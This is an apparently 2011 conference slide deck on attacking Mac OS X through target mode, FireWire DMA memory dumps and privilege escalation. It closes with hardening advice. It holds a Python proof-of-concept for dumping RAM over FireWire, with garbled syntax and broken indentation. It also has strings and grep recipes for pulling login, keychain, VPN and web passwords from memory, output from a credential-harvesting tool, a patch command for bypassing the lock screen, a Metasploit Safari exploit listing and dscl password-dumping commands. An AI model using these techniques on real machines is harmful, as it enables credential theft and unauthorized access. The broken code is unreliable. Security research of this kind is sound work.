Summary

Introduction

Exploitation of target mode

Exploitation of physical memory

Exploitation of user privileges

Conclusion
Introduction
Market Share

Mac vs Windows

**Current Events in the Market**

- Developer Build for Windows 8 is released for PCs and tablets
- iPhone 5 release date rumored to be announced next month
- Android’s newest version “Ice Cream Sandwich” to be released in the next two months

<table>
<thead>
<tr>
<th>Operating System</th>
<th>Changes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows</td>
<td>-0.592%</td>
</tr>
<tr>
<td>Mac</td>
<td>+1.039%</td>
</tr>
<tr>
<td>iOS</td>
<td>-0.301%</td>
</tr>
<tr>
<td>Android</td>
<td>+0.149%</td>
</tr>
<tr>
<td>Linux</td>
<td>+0.45%</td>
</tr>
<tr>
<td>Other</td>
<td>-0.34%</td>
</tr>
</tbody>
</table>

Mac OS Market Share:

- Lion 10.7: 55%
- Snow Leopard 10.6: 22%
- Leopard 10.5: 16%
- Tiger 10.4: 5%
- Other: 1%

Market Share by continent

Mac market share by world region

- North America: 14.09%
- Oceania / Australia: 13.71%
- Europe: 6.23%
- Asia: 1.61%
- Africa: 1.47%
- South America: 1.08%

Data source: StatCounter Global Stats, Feb 2011

Desktop OS market share in the United States, April 2011

- Windows 7: 31.71%
- Windows XP: 31.56%
- Windows Vista: 19.07%
- Mac OS X: 14.87%
- Linux: 0.70%
- Other: 2.09%

Data source: StatCounter
Mac OS X history

- 1996 : Purchase of NeXT and NeXTSTEP OS by Apple
- 1996 : Come back of Steve Jobs within Apple (left in 1985)
- 1999 : First version of Mac OS X server (1.0)
- 2001 : First version of Mac OS X Workstation (10.0 Cheetah)
- 2006 : First Mac(Book) without PowerPC processor and with Intel processor
Mac OS X architecture

- UNIX system
- Based on Darwin OS (hybrid kernel XNU)
- Kernel XNU is based on micro-kernel of NeXTSTEP (Mach) and kernel of BSD (FreeBSD)
- But Darwin doesn’t contain graphical motor “Quartz”
Mac OS X architecture

Introduction
- Exploitation of target mode
- Exploitation of physical memory
- Exploitation of user privileges

Conclusion

Mach
- IO Toolkit
- Applications services
- Login Windows
- Quartz/Aqua
- Finder/Dock
- Applications

Mac interfaces
- EFI
- Platform Expert

Core services
- Launchd

OS X
- Kernel space
- User space
- Hardware
- Darwin (Mach)
Exploitation of target mode
About target mode

- During the starting > press “T”
- Access not protected by default
- Full access to the files system disk through files manager
Alternatives

- Single mode (press “Apple + S”)

- From live OS in USB/CD device > Press “Alt”

- From Mac OS X installation DVD > Press “C” and select Reset Password from installer
Identify system users

- User UID in `/private/var/db/dslocal/indices/Default/index`

- User privileges in `/var/db/dslocal/nodes/Default/groupe/admin.plist`
Identify system passwords

- Hashes passwords in /var/db/shadow/hash

- Find clear password with brute force attack (JTR)
About Keychain file

- Keychain file stores secrets data like: Safari passwords, WIFI keys, Skype username/password, Google username/password (contact, Picasa), Exchange username/password, ...
Open Keychain files

- For each user, Keychain is stored in `/Users/<USER>/Library/Keychains/login.keychain`
- Keychain files are protected by keychain password
- It’s possible to import any Keychain files without knowing the Keychain password
Open Keychain files

- But, you have to know “keychain” password to exploit it :(

- By default, “keychain” password is equal to user system password :-(
Open Keychain files

- You can identify password in volatility data
- You can attempt identify password by brute force attack
About Filevault encryption

- Encryption of file system (AES 128) like BitLocker or DM-Crypt
  - Full encryption from Lion version
  - Only Home directory encryption for previous versions

- Native function from Mac OS X 10.3

- “.dmg” images can use Filevault encryption
About Filevault encryption

- Home directory without encryption

```
bash-3.2# ls /Users/sudoman/ 
.CFUserTextEncoding .cpan 
.DS_Store .cups 
.DownloadManager .dir_colors 
.Trash .dropbox 
.Xauthority .dvdcss 
.Xvfb 
```

- Home directory with Filevault encryption

```
bash-3.2# ls /Users/test/ 
test.sparsebundle 
bash-3.2# ls /Users/test/test.sparsebundle/ 
Info.bckup Info.plist bands token 
bash-3.2# ls /Users/test/test.sparsebundle/bands/ 
<p>| | | | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>12</td>
<td>15d06</td>
<td>16d</td>
<td>170</td>
<td>174</td>
<td>178</td>
</tr>
<tr>
<td>1</td>
<td>13</td>
<td>16</td>
<td>171</td>
<td>175</td>
<td>179</td>
<td>174</td>
</tr>
</tbody>
</table>
```
Open Filevault file

- Filevault file is stored in `/Users/<USER>/test.sparsebundle`
- Filevault files are protected by password ...

... and it’s the same as `<user>` system password :-)

- So, from target mode, it’s easy to decrypt this file
Open Filevault file

- You can identity AES key in volatility data ...
- Else, without access to hashes password, it is possible to attempt to find password by brute force attack
Exploitation of physical memory
Physical memory dump

- **From root access**, MacMemoryReader can dump RAM

```
ash-3.2# ./MacMemoryReader -d /tmp/dump2.mach
OS version is 10.6
- unpacking kext from supportfiles/devmem.106x.tgz to /tmp/ramdump.nMTvG
- loading kext at /tmp/ramdump.nMTvG/devmem.kext
- running dtrace script supportfiles/PE_state_raw.dtrace
- running sysctl -w debug.devmem.boot_args=9474048
- running image command: ./supportfiles/image -o /tmp/dump2.mach -v
Memory ranges read from /dev/pmap (type, offset, size in blocks):
  available 0000000000000000 00000000000000008f
  ACPI_NVS 00000000000000008f000 000000000000000001
  available 00000000000000000000000000010
```

- MMR create temporary kernel extension to read /dev/mem devices
Physical memory dump

- "Sleepimage" file contained physical memory dump for safe mode (hibernation mode)

- From full access disk, "Sleepimage" file can be viewed

- From recent versions, file is encrypted :-)

Configuration of encryption of "sleepimage" (root privileges to modification)
Physical memory dump

- Physical extraction ...

Tools to extract RAM > http://www.mcgrewsecurity.com
From **DMA access**, RAM dump is possible and **EASY**

- “pythonraw1394” libraries allow to dump RAM of Windows system from Linux (2006 - Adam Boileau - *Winlockpwn*)

- “libforensic1394” (Freddie Witherden) libraries allow to dump RAM of MAC OS X from OS X or Linux
DMA access - PoC

- Using of "libforensic1394" libraries is very easy :-) and allow to write code to dump RAM ...

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
print "PoC for RAM dumping with firewire and libforensic1394 library"
raw_input("Enter to start")
from forensic1394 import Bus
from time import sleep
from binascii import unhexlify
from sys import argv
import os, sys

def usage():
    print "Usage: \" + argv[0] + \" <Byte Size> <outfile>\n"

if len(argv) != 3:
    usage()
    exit()

# Page size, nearly always 4096 bytes
PAGESIZE = 4096

# Arguments
size in bytes
enddump = 1024*int(argv[1])
fileout = argv[2]

def dumpRAM(d):
    # initiate dump file
    f = open(fileout, "w")
    print "Start> RAM dumping to \" + fileout + \"..."

addr = 1*1024*1524
while True:
    #count of memory size
    size = addr/2048
    if size > enddump:
        print "End> RAM dumping finished to \" + fileout + \" (\" + argv[1] + \" Mbytes)"
        exit()
    # Prepare a batch of 128 requests
    r = [(addr + PAGESIZE*1, 2048) for i in range(0, 128)]
    for cand, d in d.read(r):
        f.write(cand)
    addr += PAGESIZE + 128
f.close()

b=Bus()

# Enable SBP-2 support to ensure we get DMA
b.enable_nbp2()
sleep(2.0)

# Open the first device
d = b.devices()[0]
print d
f = open()
d.open()
addr = dumpRAM(d)
```
Exploit DMA access

DEMO

http://sud0man.blogspot.fr/2011/12/video-exploit-firewire-access-against.html
Identify secret data

- Identify current username for a locked session (open without auto logon)

```
# strings dump.raw | grep -i logname=LOGNAME=sudoman
[...]
```

- Identify password for a locked session (open without auto logon)

```
# strings dump.raw | grep -A 5 longname
longname
domsudoman
managedUser
password
sudo<password>
shell
```
Identify secret data

- Identify current username for a locked session (open with auto logon)

```
# strings dump.raw | grep -i logname= LOGNAME=sudoman
[...]
```

- Identify current password for a locked session (open with auto logon)

```
# strings dump.raw | grep -B 2 -A 2 "builtin:authenticate,privileged" | grep admin -A 5 | grep UseeTags -B 1
<password>
```

- Identify just username for a locked session after startup

```
# strings dump.raw | grep "<string>/Users/
[...]
<string>/Users/sudoman/Downloads</string>
<string>/Users/test</string>
[...]
```
Identify secret data

- A lot of others data secret are into physical memory like:
  - Email / Calendar data
  - Office documents data
  - Web passwords
  - Software passwords
  - Keychain password
  - ...

#example for 7zip password
<stEv:t:when>2008-06-25T06:28:38+02:00</stEv:t:when>
<stEv:t:softwareAgent>Adobe Illustrator CS4</stEv:t:softwareAgent>
P@s3d3cRypt

#example for OpenVPN (auto connection with Keychain)
bash-3.2# cat dump.raw | strings lgrep -i "Password "Private Key"" -B 5 -A 5
Lucida is a registered trademark of Bigelow & Holmes Inc.
Kris Holmes and Charles Bigelow
AuthorityRequestType
format
StandardVersion
password "Private Key" "PasswordOfPrivateKey"
ns/login.keychain
PrintName
3?&
/Users/sudoman/Library/Cookies/Cookies.plist
PPPPPPPP

#example for Google CalDAV
icat.com/crl/ACERTOMISSSSL.crl
genanama@gmail.com:<password>
Cc2dhbmFtYU8xxxxx5jbj206V2hpZ25vbGUmNTE=
realm
>mA
3]\z

#example for Keychain
bash-3.2# cat test.raw | strings lgrep -i "login.keychain" -A 7
--
/Users/sudoman/Library/Keychains/login.keychain
reason
tries
password
PasswordOfKeychain
textureCube(csCl;vf3;f1;
}
Identify secret data

- AES 128 key used for Filevault encryption can be found into physical memory and allows to:
  - Decrypt encrypted home directories and full encrypted disks (Lion version)
  - Identify secret data in hard disk (like system passwords)
  - Unlock system

- AESKeyfind tool can extract AES keys
Identify secret data

- Passware Kit 11.3 can extract and exploit the found keys
Identify secret data

- P0C to identify Web and software passwords

```
ArmHacK:~$ sudo python -m catch-string-amac_0.1.py dump-ram.str
get:
1: https://www.facebook.com
2: https://www.linkedin.com
3: http://www.viadeo.com
4: https://twitter.com
5: https://mail.google.com
6: http://imp.free.fr
7: http://zimbra.free.fr
8: http://vip.voila.fr
9: http://id.orange.fr
10: https://www.sfr.fr
11: https://www.esspaceclient.bouygues Telecom.fr
12: https://login.live.com
13: iTunes Apple Store
14: https://signin.ebay.fr
15: https://www.priceminister.com
16: https://www.amazon.fr
17: https://clients.cdiscount.com
18: https://www.fnac.com
19: http://espace-client.voyages-sncf.com
20: http://fr.vente-priv celle.com
21: https://www.pixmania.com
23: https://www.paris-enligne.credit-agricole.fr
24: https://www.labanquepostale.fr
25: https://www.secure.bnpparibas.net
26: https://www.professionnels.secure.societegenerale.fr
27: https://entreprises.societegenerale.fr
28: https://particuliers.societegenerale.fr
29: https://www.bred.fr
30: https://www.caisse-epargne.fr
31: https://particuliers.secure.lcl.fr
32: https://espaceclient.groupama.fr
33: https://www.hebc.fr
34: https://www.cic.fr
Choice (666 for all):
```

#SOCIAL NETWORK
-
"name": "https://www.facebook.com",
"cat": "SOCIAL NETWORK",
"desc": "Identification des authentifiant de connexion sur Face"
"signature": "email=(^)&+password=(^)&+persistent="
"hasbeenfound": "0"
"}
"name": "https://www.linkedin.com",
"cat": "SOCIAL NETWORK",
"desc": "Identification des authentifiant de connexion sur LinkedIn",
"signature": "session_key=(^)&+session_password=(^)&+",
"hasbeenfound": "0"
",
"name": "https://www.viadeo.com",
"cat": "SOCIAL NETWORK",
"desc": "Identification des authentifiant de connexion sur Viadeo",
"signature": "email=(^)&+password=(^)&+connexion="
"hasbeenfound": "0"
"
Identify secret data

- P0C to identify Web and software passwords

```bash
Choice (666 for all) : 666
Search all credentials :
=>https://mail.google.com:sganamo%40gmail.com
=>https://mail.google.com:P@ssGmail01
=>http://www.videofr.com:arnaudmalard%40free.fr
=>http://www.videofr.com:P@ssViadeo01
=>http://zimbra.free.fr:malardarnaud
=>http://zimbra.free.fr:P@ssFree01
=>https://www.linkedin.com:arnaudmalard%40free.fr
=>https://www.linkedin.com:P@ssLinkedIn01
=>https://www.facebook.com:arnaudmalard%40free.fr
=>https://www.facebook.com:P@ssFacebook01
=>https://twitter.com:sud0man
=>https://twitter.com:P@ssTwitt01
=>iTunes Apple Store:arnaudmalard%40free.fr
=>iTunes Apple Store: P@ssiAStore02
```
Identify secret data

- P0C to identify Mac OSX passwords

```
目标:
1: Apple Credentials - login/password for locked session without autologon
2: Apple Credentials - login/password for locked session with autologon
3: Apple Credentials - login for locked session after startup
4: Keychain login - password
5: Outlook client - domain credentials

Choice (666 for all):
```
```
abCibles={
"name":"Apple Credentials - login/password for locked session without autologon",
"signature":"\|grep -A 4 longname\|grep -B 1 -A 2 managedUser",
},
{"name":"Apple Credentials - login/password for locked session with autologon",
"signature":"\|grep -B 2 -A 2 'buildin:authenticate,privileged' \| grep",
},
{"name":"Apple Credentials - login for locked session after startup",
"signature":"\|sed -ne 's^.*\<.<string>=/\(\[/\]\0\{1,20\}\)\>.\$\|1'
```
Identify secret data

- P0C to identify Mac OSX passwords
Identify secret data

- Is it possible to extract secret data when full encryption is activated (Lion version) by DMA access?

  YES!

  but NO if:

  - System is not started (pre-boot authentication screen)
  - System is hibernated in forcing to remove power from RAM (hibernatemode=25) AND the parameter to remove filevault keys in RAM is activated (destroyfvkeyonstandby=1)
Writing physical memory

- ... to bypass session password with “libforensic1394” libraries!
- but ... it doesn’t work :-(

```
root@sudoman:~:/Bureau/libforensic1394/forensic1394/python# ./winlocknew.py 41BFF6C8FFFF48C78588 41BF0000000048C78588 1999
Usage : ./patch.py signature patch offset
Signature/Patch/Offset XP SP3 (x86) > 83F8107511B0018B 83F8109090B0018B 2218
Signature/Patch/Offset 7 (x86) > 83F8107513B0018B 83F8109090B0018B 2342
Signature/Patch/Offset 10.6.4 (Intel 64-bit) > 41BFF6C8FFFF48C78588 41BF0000000048C78588 1999
<forensic1394.device.Device object at 0x874194c>
```
Writing physical memory

- Inception tool (breaknenter.org) will include options to bypass password screen but are not still implemented.

- Actually, I search the good signature for 10.6 and 10.7.
And Thunderbolt port...?

- like firewire port (with adapter)
  and so can be exploited :-)

**Exploitation of target mode**

**Exploitation of physical memory**

**Exploitation of user privileges**

**Conclusion**
Exploitation of user privileges
Obtain system user access

- From physical access
  - Identify trivial password
  - Exploit DMA access, single mode, ...
  - Exploit auto logon session for the first configured user (root privileges by default)

- From remote access
  - Identify services and usernames from mDNS service (UDP/5353) of Bonjour (or "Zeroconf") service
Obtain system user access

- From remote access
  - By common “server side” vulnerabilities like SMB, SSH, WEB, ...
  - By “client side” vulnerabilities of Safari, iTunes, iChat, Quicktime, Skype, ...

Top 13 vulnerabilities in 2010
Obtain system user access

- From remote access
  - By common “server side” vulnerabilities like SMB, SSH, WEB, ...
  - By “client side” vulnerabilities of Safari, iTunes, iChat, Quicktime, Skype, ...

Security updates for Apple products

<table>
<thead>
<tr>
<th>Security updates</th>
<th>Name and information link</th>
<th>MS and Apple are affected</th>
<th>Released for</th>
<th>Release date</th>
</tr>
</thead>
<tbody>
<tr>
<td>Security updates</td>
<td>iTunes 10.5.1</td>
<td>Mac OS X v10.5 or later, Windows 7, Vista, XP SP2 or later</td>
<td>14 Nov 2011</td>
<td></td>
</tr>
<tr>
<td>Security updates</td>
<td>Time Capsule and AirPort Base Station (802.11n) Firmware 7.6</td>
<td>AirPort Extreme Base Station with 802.11n, AirPort Express Base Station with 802.11n, Time Capsule</td>
<td>10 Nov 2011</td>
<td></td>
</tr>
<tr>
<td>Security updates</td>
<td>iOS 5.0.1 Software Update</td>
<td>iOS 3.0 through 5.0 for iPhone 3GS, iPhone 4 and iPhone 4S, iOS 3.1 through 5.0 for iPad touch (3rd generation) and later, iOS 3.2 through 5.0 for iPad, iOS 4.3 through 5.0 for iPad 2</td>
<td>10 Nov 2011</td>
<td></td>
</tr>
<tr>
<td>Security updates</td>
<td>Java for Mac OS X 10.7 Update 1 and Java for Mac OS X 10.6 Update 5</td>
<td>Mac OS X v10.6.8, Mac OS X v10.7.2</td>
<td>08 Nov 2011</td>
<td></td>
</tr>
<tr>
<td>Security updates</td>
<td>QuickTime 7.7.1</td>
<td>Windows 7, Vista, XP SP2 or later</td>
<td>26 Oct 2011</td>
<td></td>
</tr>
</tbody>
</table>
Obtain system user access

“exploit-db.com” stores a lot of remote exploits

- “exploit-db.com” stores 15 remote exploits for Mac OS X platform from 2010 and 145 remote exploits for Windows platform from 2011

- Most of vulnerabilities are due to a third party soft
Obtain system user access

- Like others OS, “Metasploit” allows to easy execute code under the context of the user.

```
exploit(safari_file_policy) > info

Name: Apple Safari file:// Arbitrary Code Execution
Module: exploit/osx/browser/safari_file_policy
Version: 1.3975
Platform: Unix, OSX, Java
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
Aaron Sigel
sinn3r <sinn3r@metasploit.com>

Available targets:
- Name
- ----
  0 Safari 5.1 on OSX
  1 Safari 5.1 on OSX with Java

Basic options:
- Name     | Current Setting | Required | Description
- --------  | --------------- | -------- | -----------------
HTTPPORT 80 | yes             | The HTTP server port
SRVHOST 0.0.0.0 | yes | The local host to listen on. To disable this option use 0.0.0.0
SRVPORT 21 | yes             | The local port to use for the HTTP server
SSL false | no              | Negotiate SSL for incoming connections
SSLCert no | no              | Path to a custom SSL certificate
SSLVersion SSL3 | no | Specify the version of SSL that should be negotiated
URIPATH no | no              | The URI to use for this exploit

Payload information:
Avoid: 0 characters

Description:
This module exploits a vulnerability found in Apple Safari on OSX platform. A policy issue in the handling of file:// URLs may allow arbitrary remote code execution under the context of the user. In order to trigger arbitrary remote code execution, the host may seem
```
Safari exploit > cve-2011-3230
User privileges escalation

- Previously, if you obtain root privileges
  - You can execute a lot of operation (Cf. Exploitation of target mode)
  - but password can be useful ...

- Previously, if you obtain user privileges
  - You can attempt to extract secret data into data or system file (personal data, stored password into txt file, emails, ...)
  - You can attempt to identify vulnerabilities of configuration or software
  - You can attempt to exploit native Mac OS X functions
  - ...

Previously, if you obtain root privileges
- You can execute a lot of operation (Cf. Exploitation of target mode)
- but password can be useful ...

Previously, if you obtain user privileges
- You can attempt to exploit native Mac OS X functions
- ...
Exploit Mac OS X vulnerabilities

- Vulnerabilities exploitation is more difficult with ASLR from Leopard 10.3 version (full ASLR from Lion 10.7)
- "exploit-db.com" stores a lot of local root exploits

Sample of local root exploit updates for Max OS X

- 44 local exploits for Mac OS X from 2003 and 220 for Windows from 2011
- Most of vulnerabilities are due to a third party soft
Exploit native functions

- Using and copy stored passwords into Keychain requires user password
Exploit Keychain access

- But with “security” command, allows to bypass password prompt ... :-)

- Others extracted passwords: Safari passwords, WIFI keys, Skype username/password, Google username/password (contact, Picasa), Exchange username/password, ...

- One of these passwords is maybe root password ...
Exploit Keychain

- Exploitation is possible just with “login.keychain”

```
bash-3.2# security list-keychains
"/Users/sudoman/Library/Keychains/login.keychain"
"/Users/sudoman/Library/Keychains/Microsoft_Intermediate_Certificates"
"/Users/sudoman/Library/Keychains/Microsoft_Entity_Certificates"
"/Library/Keychains/System.keychain"
```

- Exploitation is possible because “login.keychain” is automatically open during the session ... if only keychain password is identical to user system password

- Opening of “system.keychain” requires login and password
Recents tips to escalate priv.

- **CVE-2011-3435/36**: Exploit of `dscl` command to dump hashes password or to reset password without be root:
  
  ```
  $dscl localhost -read /Search/Users/<User>
  $dscl localhost -passwd /Search/Users/<User>
  ```

- Exploit “mac port” configuration to have a remote root
  

- Exploit application outside of sandbox to by pass restriction on application within sandbox
  
Conclusion
Mac OS X, secured or not?

- Secured Mac OS X is as secured as Windows

More exploits for Windows than Mac OS X because of market share (more users so more researches ...)

http://www.securityvibes.fr/produits-technologies/osx-lion-securite/
Physical access is not secured

- By default, my son could own my Mac Book
  - by Single mode, by Target mode, by access DMA, ...

  as opposed to Windows PC (using DMA)

- To limit that, it is necessary to install software to configure EFI password and it not easy like under BIOS!

  Password Prompt during startup

- but, modification of material configuration allows to reset password ...
Optimum protection

- Use full disk encryption (Filevault, Truecrypt, ...)
- Encrypt “sleepimage” file, force to remove power from RAM
- Use a different password for system access and Keychain or use authentication by certificate (http://www.opensc-project.org/sca/wiki/LogonAuthenticate)
- Use strong passwords and change regularly yours passwords
- Configure system to install automatically security patches
- Configure local firewall to block input connections
- Install antivirus system (ClamXav, Avast, Intego, BitDefender, F-Secure, Panda Antivirus,...)
- Disable remote services (mDNS, SMB, Web, HTTP, ...)
Optimum protection

- Disable remote services (mDNS, SMB, Web, HTTP, ...)

- and avoid to publish your system backup or keychain files on Internet
  - no .... ????  Yes !!!
  - Google is your friend or not (for the victims)
Keychain files and GHDB*

* GHDB = Google Hacking Database

Very easy to:

- identify keychain files (like *.keychain)
and APT?


1. Motivation
   - Preface and Background

2. Anatomy of an APT
   - Social Engineering
   - Initial Exploitation
   - Local Privilege Escalation
   - Network Privilege Escalation
   - Persistence
   - Exploration
   - Exfiltration

3. Conclusion
   - Summary
Questions?

Slides, paper and tools on:

http://sud0man.blogspot.com

sganama[at]gmail.com / @sud0man